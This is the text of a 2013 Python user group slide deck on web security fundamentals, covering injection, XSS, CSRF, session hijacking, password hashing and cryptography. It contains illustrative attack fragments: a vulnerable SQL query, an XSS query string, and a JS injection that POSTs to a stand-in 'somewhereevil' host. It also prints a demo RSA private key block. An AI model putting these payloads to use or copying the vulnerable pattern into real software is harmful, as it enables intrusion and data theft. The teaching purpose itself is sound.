Slide 1

Slide 1 text

WEB SECURITY FUNDAMENTALS Kevin Campbell @kevcampb Jimmy Wong @wong_jim Hong Kong Python User Group 16th Feb 2013

Slide 2

Slide 2 text

Today’s focus ● The changing state of web application development ● Code injection and sanitising inputs ● Cross site scripting, request forgery ● Sessions, cookies ● Passwords ● Hashes, MAC, crypto ● Network security

Slide 3

Slide 3 text

Why is Security Important Banking Site: ● All your customer's funds could be transferred to Dr. Evil Shopping Site: ● You could lose customer credit card info Webmail Service Site: ● Lose emails with login information to above sites Cat Picture Sharing Site: ● Lose email addresses and passwords for webmail services

Slide 4

Slide 4 text

Common Threats ● Worms and automated attacks ○ Very common for publically released software packages ○ Keep up to date with latest security fixes ● Targeted hacking ○ Dedicated hackers are very difficult to defend against ● Malware on end users machines ○ The simplest way to compromise user accounts ● Internal threats ○ For corporate environments, the most common risk ● Information leakage ○ Permissions model allows access to data which shouldn’t be ○ With more data sharing, an increasingly complex problem

Slide 5

Slide 5 text

Common Threat Categories ● Defacement ● Infiltration ● Denial of Service (DOS) ● Data theft and loss ● Phishing ● Pharming (AKA DNS spoofing, DNA Cache Poisoning) ● DNS hijacking

Slide 6

Slide 6 text

Security Best Practices ● Principle of Least Privilege ● Defence in Depth ○ Condom over onion ○ Prevent, Detect, Contain, Recover ● Harden the Weakest Link ● Simplicity ○ Simple systems are far easier to audit and harden

Slide 7

Slide 7 text

Architectural Overview

Slide 8

Slide 8 text

Where we are today ● Security is getting harder ● Handling more user data than before ● More results faster, being agile ● Devops, Web Services, Cloud Computing ● Much more likely to see XSS, than buffer overflows now ● Huge range of platforms (mobile devices, browsers, apis)

Slide 9

Slide 9 text

Early Web Application

Slide 10

Slide 10 text

Early web applications ● Relatively simple app, only some write opera ● Data sent by HTTP POST from html forms ● Backend maybe in CGI, mostly static content ● Buffer overflows a significant attack vector ● Cared about your apache version, kernel and firewall ● Either using system package management or building from source

Slide 11

Slide 11 text

Web application frameworks

Slide 12

Slide 12 text

Web application frameworks ● Now running a more complex web framework ● Additional software packages for webapp ● AJAX used for dynamic page content ● SQL Injection attacks and XSS a concern ● Still care about the underlying system

Slide 13

Slide 13 text

Complex web apps

Slide 14

Slide 14 text

Complex web apps ● Running on cloud services ● Lots of attack surface area ● Increasing complexity of Javascript code ● Difficult to apply test driven development ● Your code is visible to the public

Slide 15

Slide 15 text

Complex web apps Javascript code is getting more and more complex Vulnerabilities can exist anywhere for code injection

Slide 16

Slide 16 text

Complex web apps ● Increased number of data sources ● Not always in full control of those data sources ● Harder to test, need to develop stubs and mock objects

Slide 17

Slide 17 text

Packages and config management ● Lots of 3rd party code in use in your system ● Incredible number of dependencies ● Less clear gap between systems and development ● Fast release cycles, continuous deployment ● Hard to keep track of revisions ● Could easily be including malicious code

Slide 18

Slide 18 text

Dealing with complexity ● Package management systems can help ● Deb / RPM , PIP / Virtualenv, Javascript assets ● Only use trusted sources ● Don't include packages you don't need ● Track revisions to have an audit trail (pip freeze) ● Keep up to date with security releases

Slide 19

Slide 19 text

Code Execution Security Flaws

Slide 20

Slide 20 text

SQL Injection ● Non sanitized inputs passed to SQL query string def displayUserInfo(request, email_input): db.execute(“““ SELECT name, age FROM person WHERE email = ‘%(email)s’ ””” % {‘email’: email_input}) ● If database allows ; to be entered then attacker will be able to enter additional queries ● Should always use placeholders where possible

Slide 21

Slide 21 text

SQL Injection

Slide 22

Slide 22 text

SQL Placeholders ● Placeholders will safely escape any input passed def displayUserInfo(request, email_input): db.execute(“““ SELECT name, age FROM person WHERE email = %s ”””, (email_input,)) ● Defined in PEP 248 but some variation on syntax ● If not possible to apply placeholder, database layer will provide an appropriate escape(…) method for you

Slide 23

Slide 23 text

ORM and Query Builders These will handle escaping for you, making life easier Django ORM from django.db import models class Person(models.Model): first_name = models.CharField(max_length=30) last_name = models.CharField(max_length=30) search_results = Person.objects.filter(first_name='John') SQLAlchemy users = Table('users', metadata, Column('user_id', Integer, primary_key=True), Column('name', String(40)), Column('age', Integer), Column('password', String), ) users.select(and_(users.c.age < 40, users.c.name != 'Mary'))

Slide 24

Slide 24 text

HTML Injection Similar to SQL injection, unescaped input can lead to including arbitrary HTML code var image = { width: "240", height: "230", title: "User image", img: "user1039.png" }; var image_tag = ''; jQuery(image_tag).appendTo('#some-selector');

Slide 25

Slide 25 text

HTML Injection Similar to SQL injection, unescaped input can lead to including arbitrary HTML code var image = { width: "240", height: "230", title: "User image", img: "user1039.png" }; image.img = 'user1039.png" />'; jQuery(image_tag).appendTo('#some-selector');

Slide 26

Slide 26 text

HTML Injection - Why it's bad ● We can now run arbitrary javascript code image.img = 'user1039.png" />; ● Use of inside a block. ● If "user1039.png" was built using "user" + username + ".png", a user could set their username to attack the site. ● If the broken code was on a forum, anyone viewing that user's posts would get their account compromised ● Problem is made worse when combining in XSS

Slide 27

Slide 27 text

Preventing HTML injection Validate and HTML escape user input like before & & < < > > " " ' ' HTML HTML Character Entities

Slide 28

Slide 28 text

jQuery safety Some jquery methods are unsafe, particularly .append() and the jquery selector $('') which can also create nodes $('') will generate a img node Only a few jquery methods should be passed unescaped input Safe methods .text() .attr() .prop() .val() Unsafe methods .html() $() .append*() .wrap*() .prepend*() .before() .after() .insert*()

Slide 29

Slide 29 text

HTML templates Using a templating language for generating HTML will greatly reduce mistakes - if used correctly! Underscore.js Safe: <%- var %> Unescaped: <%= var %> Handlebars / Mustache Safe: {{ var }} Unescaped: {{{ var }}}

Slide 30

Slide 30 text

Cross-Domain Security

Slide 31

Slide 31 text

Same Origin Policy Same Origin ● http://www.example.com/a ● http://www.example.com/b ● http://www.example.com/a/c?d=e Different Origin ● https://www.example.com ● http://example.com ● http://www.example.com:8080/ ● http://www.iamevil.com Scripts can only access methods and attributes of objects from the same origin. (Same scheme, domain, port)

Slide 32

Slide 32 text

Cross-Site Request Forgery Same Origin Policy only constraints resources running inside the browser. Anyone can still make HTTP requests to your server.

Slide 33

Slide 33 text

Cross-Site Request Forgery http://evilhacker.org .... http://example.com ● /userprofile accepts POST requests to modify emails and passwords

Slide 34

Slide 34 text

Cross-Site Request Forgery Email and passwords changed for every user in your database. EvilHacker says: All your accounts are belong to us.

Slide 35

Slide 35 text

Preventing XSRF ● Solution 1 ○ Require users to enter their credentials before allowing them to access their personal info page ○ Advantage: ■ Easy to understand and implement ○ Disadvantage: ■ Extremely annoying for many use cases ● Solution 2 ○ Use a XSRF (CSRF) action token

Slide 36

Slide 36 text

Preventing XSRF with a token ... def handleFormInput(request): if not check_token(request.POST.get('token',None)): raise SecurityError("CSRF Check Failed")

Slide 37

Slide 37 text

Preventing XSRF with a token T = MAC(K MAC ,C + d + L) K MAC = Application-specific key C = Cookie data unique to every browser session d = A string delimiter L = The path of your site to grant access to MAC = A message authentication code algorithm e.g. HMAC T = Token

Slide 38

Slide 38 text

Preventing XSRF with a token ● Don't invent your MAC implementation ● If your frameworks gives you functions to generate and extract CSRF tokens, use it. ○ Django ■ https://docs.djangoproject.com/en/dev/ref/contrib/csrf/ ○ Flask ■ http://pythonhosted.org/Flask-WTF/ ○ Blueberrypy ■ https://github. com/wyuenho/blueberrypy/blob/master/src/blueberrypy/util. py#L362

Slide 39

Slide 39 text

Cross-Site Scripting (XSS) Example: http://www.example.com/blogs?keyword=apple+%3Cscript% 3Esomeeviljs%3C/script%3E Result:

Slide 40

Slide 40 text

Preventing XSS Escape URLs before inserting them into href and src attributes ● Javascript ○ $().attr() for inserting into DOM attributes ● Python ○ import urllib (Percent encoding) ■ urllib.quote ■ urllib.quote_plus ■ urllib.urlencode ■ urllib.pathname2url ○ import htmlentitydefs (Ampersand encoding)

Slide 41

Slide 41 text

Preventing XSS Python data[0]['var'] = '"}]); $. POST("somewhereevil", ...);'; Jinja2 JS Template Backbone.Model({% str(data) %}); Result Backbone.Model([{"var": ""}]); $.POST ("somewhereevil", ... Beware of poorly structured code that renders JS/CSS templates from the server side

Slide 42

Slide 42 text

Preventing XSS ● Solution 1 ○ Don't allow anything with weird symbols from user input ● Solution 2 ○ import re; re.escape() # doesn't speak Unicode in 2.x ● Solution 3 ○ Use a code path that invokes a proper JSON serializer ● Solution 4 ○ Don't write these ugly code in the first place

Slide 43

Slide 43 text

Session Hijacking

Slide 44

Slide 44 text

What is a Session? ● HTTP is a stateless protocol ○ Does not prescribe a way to store state on the client side ● Websites need to customize for individual users ○ Bring your session ID with you for every request ○ Session Cookie ■ Session ID, with expiry date

Slide 45

Slide 45 text

Session Hijacking by ID Fixation Scenario 1 1. Evil Hacker goes to http://www.example.com? sessionid=12345 2. Evil Hacker sends Tom Cruise an email with the URL 3. Tom Cruise signs up to the Church of FSM with that session 4. Evil Hacker visits URL and change Tom Cruise's password

Slide 46

Slide 46 text

Session Hijacking by ID Fixation Scenario 2 Same as scenario 1, substitute session cookie with query string. Scenario 3 There's a browser vulnerability, Evil Hacker can set a session ID to any arbitrary domain - unlikely, but possible given browsers are now getting more and more like OS.

Slide 47

Slide 47 text

Preventing Session Hijacking ● Use a different session ID for every request ○ AKA invalidate the last session ID on the server and set a new session ID in the response for every request ○ CherryPy / blueberrypy does this by default ○ Django? Flask? ● Use "secure" cookie attribute ○ Only gets sent over HTTPS ● Use "HttpOnly" cookie attribute ○ Accessible only from HTTP/S, no Javascript access

Slide 48

Slide 48 text

Password

Slide 49

Slide 49 text

Hashes, Passwords ● Never store user passwords in plaintext ● A one way hash stores a password in a way you can check it but not get the original data MD5("The quick brown fox jumps over the lazy dog") = 9e107d9d372bb6826bd81d3542a419d6 ● SHA256, PBKDF2 or bcrypt now recommended over SHA1 or MD5 ● Salting is essential to avoid rainbow table attacks ● Don't roll your own, use your language or framework ● Don't use easily guessable passwords, especially 'joe accounts'

Slide 50

Slide 50 text

Random Numbers ● Session ID generation needs to be secure ● Pseudo-random number generators are often predictable ● Secure random numbers are either generated using environmental noise, or a hardware generator ● For python, do not use the random.random, instead use random.SystemRandom or ssl.RAND_bytes ● Using too much secure random data can deplete the entropy pool

Slide 51

Slide 51 text

Random Numbers

Slide 52

Slide 52 text

Cryptography

Slide 53

Slide 53 text

Asymmetric Cryptography ● System has two keys, one public, one private. ● Can be used to both encrypt and sign data ● The public key is safe to give out. It can be used to encrypt data that only you can read, or check a signature that you have applied to a document. ● Only the private key can decrypt data or sign documents

Slide 54

Slide 54 text

Asymmetric Cryptography Source: http://www.data-processing.hk/glossaries/public-key-encryption/

Slide 55

Slide 55 text

Asymmetric Cryptography -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This is my file. I have many such files. But this is the file I'm working with now. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (MingW32) iQIVAwUBPOCy1mM8BmRItYg4AQKWrA//fR5LKFyt+78CMtfpzkHgCVFyEe2ImsBy FJ2HvzRIP4Bvor1iEOZ9A0fux8gBNXrvEtaDXSiGyXH+Ru4F3g1+K119fgBPRBgo oOTbSLZSlRYWp8mRALsiWXKEHWgpy4zIHVTY6tPJdxFBZYJXnQj/4S6MRP+eJdam rU8ufExxaqQPw+KCNEVCSk1yHZ886k6MTSa1oDqUOLiM1cBDCtD8Jv+BE0gLHPb9 1h7lEka8QGNe+P7iiUzvsuD7HCL6dGb6T70/KBBHIP6lDwOgUX3eTd8e+I3jczs9 RyEmd6G4swM3IzCD1km+SN5/k5QsMjd6Lw5fB95Mroi47QNpya8ifYbMgCg0+BVm c7QOwr79+9cJiKhEICbMf5pKQWzP/AznaYlM0IOGGCvxa5loLl7BbtvktVMocitF zWM9SB0kmSu3OlMxjXYcBsyHCHN4dTpCD9d1jfbgth9YV06sWpONLohdaWx+n9kO CxsSDGI+aW8sGKHWonw0Uy4UAvUzY3tiZTzTF+FzoJzhy13KK1j4Y0MMx1jZ68f9 R9wSKVdiyXwuMXkWWK0uxSZuBz4mTofZ7YmFm7UdxOH4bMnO+rWNCSPR7md+X0j1 nQSwtxEnIu7Tucb/ZG3t9kR+KTByPTu7tHINr4HFd8m2Cu7Wi10TP/EBtXbtYA/1 SBaUXcbgCD8= =Hn6O -----END PGP SIGNATURE----- A signed document using GnuPG

Slide 56

Slide 56 text

Asymmetric Cryptography ● Primarily based around the RSA algorithm, which involves finding factors of large prime numbers ● Private key allows you to easily compute results that would be near impossible without knowing the content of that key ● Foundation of most internet security (SSL, SSH, GPG, HTTPS, Signed applications) ● We aren't going to try and explain RSA today!

Slide 57

Slide 57 text

Asymmetric Cryptography Generating SSL keys Kevins-MacBook-Pro:~ kev$ openssl genrsa -aes128 -out my.key 2048 Generating RSA private key, 512 bit long modulus .....++++++++++++ ........++++++++++++ e is 65537 (0x10001) Enter pass phrase for my.key: Verifying - Enter pass phrase for my.key: Resulting key file -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,84408B2B3E1D8C91A1EAFC1996665B6F z5USZhPA7ipo1qByz0djXeFrXBdFaZHp0dnn2JFUXn+QJzplOiR49Bo9oPbFsZA/ bQmpleo4awHrTkVSg/LABXnfI3bRwzYg0nWLk9po1Z1128IEynuWK53n//uWrzsJ ShQ2KaG/NPrPZmk0egq84TbjHKr9SWBV6QvhfyrzjH7uKkeTbVeRF1+tzBOyWL6i sjTo099XTwRiT2wHfKJ4hspyiBgye+IbayxqQzTjZPssa+WaXL/zMrHAVry8AxCA 22XaOzCUhYLO+x/nFE2v43WT7VlVB0tKARZT5AOQFnsvUWOLev3/iAGWs2CcAi6e 0VJ18pVNexIjLz87JcdhKLN1vHCp9696cYpb62rlLPZctPJHMfpa1BzxtZVcAZjT kddoN5LPjoAFOxalhk2HJAQez/Ode3Iafwgh0dnLn6TH6gM8NwJiRN3JP7vka17V

Slide 58

Slide 58 text

Asymmetric Cryptography Exporting the public key Kevins-MacBook-Pro:~ kev$ openssl rsa -in my.key -pubout Enter pass phrase for my.key: writing RSA key -----BEGIN PUBLIC KEY----- MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANoUz++JFdygugdxgLpnRdrEczq0HCHw dFr1IIKSwN+loxBDrx0F0CLkPCtlxtvJ09r8QgEb5dVsDMw2kdnRUksCAwEAAQ== -----END PUBLIC KEY-----

Slide 59

Slide 59 text

Symmetric Cryptography ● In symmetric cryptography, both systems have a copy of the same shared key that they use to communicate ● Simplest version is the one time pad ● Real symmetric algorithms have complex systems of modifications and rotations. ● Much faster than asymmetric cryptography ● Often combined with asymmetric (public key) cryptography. This used to share an initial symmetric key. ● Most commonly used is AES encryption which is used in SSL

Slide 60

Slide 60 text

Certificate and SSL/TLS ● SSL certificates make use of asymmetric cryptography. ● Obtained from a certificate authority who uses their private key to sign your certificate. ● You have your own private key to that certificate which you can then use to sign data and prove your identity. ● Data is encrypted between the webserver and the browser ● Your private key must be kept secure and needs to be stored on the webserver.

Slide 61

Slide 61 text

Certificate and SSL/TLS ● Browsers have a list of trusted authorities that they recognise. This list is continually updated. ● Different levels of SSL certificate have different background checks to prove who you are. ● System only as good as the weakest link in the chain ● Some recent high profile attacks have happened due to authorities being compromised.

Slide 62

Slide 62 text

Resources ● CVE (Common Vulnerabilities and Exposures) ○ Issue security alerts for common software products ● Web Application Hackers Handbook ● Foundations of Security: What Every Programmer Needs to Know ● Same Origin Policy (Google Browsersec) ● Applied Cryptography

Slide 63

Slide 63 text

Question / Discussion Over to you

Slide 64

Slide 64 text

Thank You How to find us: ● Facebook ○ https://www.facebook.com/groups/hkpug/ ● Google+ ○ https://plus.google. com/communities/101733318682537087614 ● (Google for Hong Kong Python User Group) ● Kevin Campbell @kevcampb ● Jimmy Wong @wong_jim